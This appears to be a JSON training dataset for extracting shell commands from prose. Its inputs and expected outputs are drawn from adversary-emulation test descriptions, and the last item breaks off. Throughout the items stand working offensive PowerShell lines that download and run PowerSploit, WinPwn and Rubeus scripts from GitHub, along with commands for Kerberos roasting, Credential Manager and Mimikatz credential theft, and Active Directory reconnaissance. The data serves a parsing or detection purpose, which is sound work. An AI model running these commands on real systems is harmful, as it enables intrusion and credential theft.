    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For domain user enumeration with PowerView, use the following command which will output scanning progress and user information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose; The PowerSharpPack's WinPwn function enables Kerberoasting through Rubeus with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"asreproast /format:hashcat /nowrap\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\\nInvoke-Rubeus -Command \\\"asreproast /format:hashcat /nowrap\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module retrieves stored credentials by executing the command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \n; To extract credentials from Windows Credential Manager, use the following command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force",
    "output": "{\"command_list\": [\"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \\n\", \"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform Active Directory reconnaissance similar to ransomware actors, execute AdFind via this command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=organizationalUnit) #{optional_args}; To perform reconnaissance in an Active Directory environment, specifically enumerating Active Directory Trusts, execute the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -gcb -sc trustdmp",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=organizationalUnit) #{optional_args}\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -gcb -sc trustdmp\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract certificates from the local system My store using Mimikatz, run the following command: \"#{mimikatz_exe}\" \"crypto::certificates /systemstore:local_machine /store:my /export\"  exit; Execution can be facilitated by a user running a malicious image, using the following command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk",
    "output": "{\"command_list\": [\"\\\"#{mimikatz_exe}\\\" \\\"crypto::certificates /systemstore:local_machine /store:my /export\\\"  exit\\n\", \"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The technique for decrypting TeamViewer passwords via WinPwn can be executed with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer -consoleoutput -noninteractive; To check for service registry permissions weaknesses that could lead to privilege escalation via ImagePath modification, use the following command: get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndecryptteamviewer -consoleoutput -noninteractive  \", \"get-acl REGISTRY::HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\* |FL\\nget-acl REGISTRY::HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\#{weak_service_name} |FL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing a process from a directory disguised as the parent directory, run this command sequence:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n; The following command generates and launches an executable that mimics legitimate software:\nAdd-Type -TypeDefinition @'\npublic class Test {\n    public static void Main(string[] args) {\n        System.Console.WriteLine(\"tweet, tweet\");\n    }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"",
    "output": "{\"command_list\": [\"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\", \"Add-Type -TypeDefinition @'\\npublic class Test {\\n    public static void Main(string[] args) {\\n        System.Console.WriteLine(\\\"tweet, tweet\\\");\\n    }\\n}\\n'@ -OutputAssembly \\\"#{executable_filepath}\\\"\\n\\nStart-Process -FilePath \\\"#{executable_filepath}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    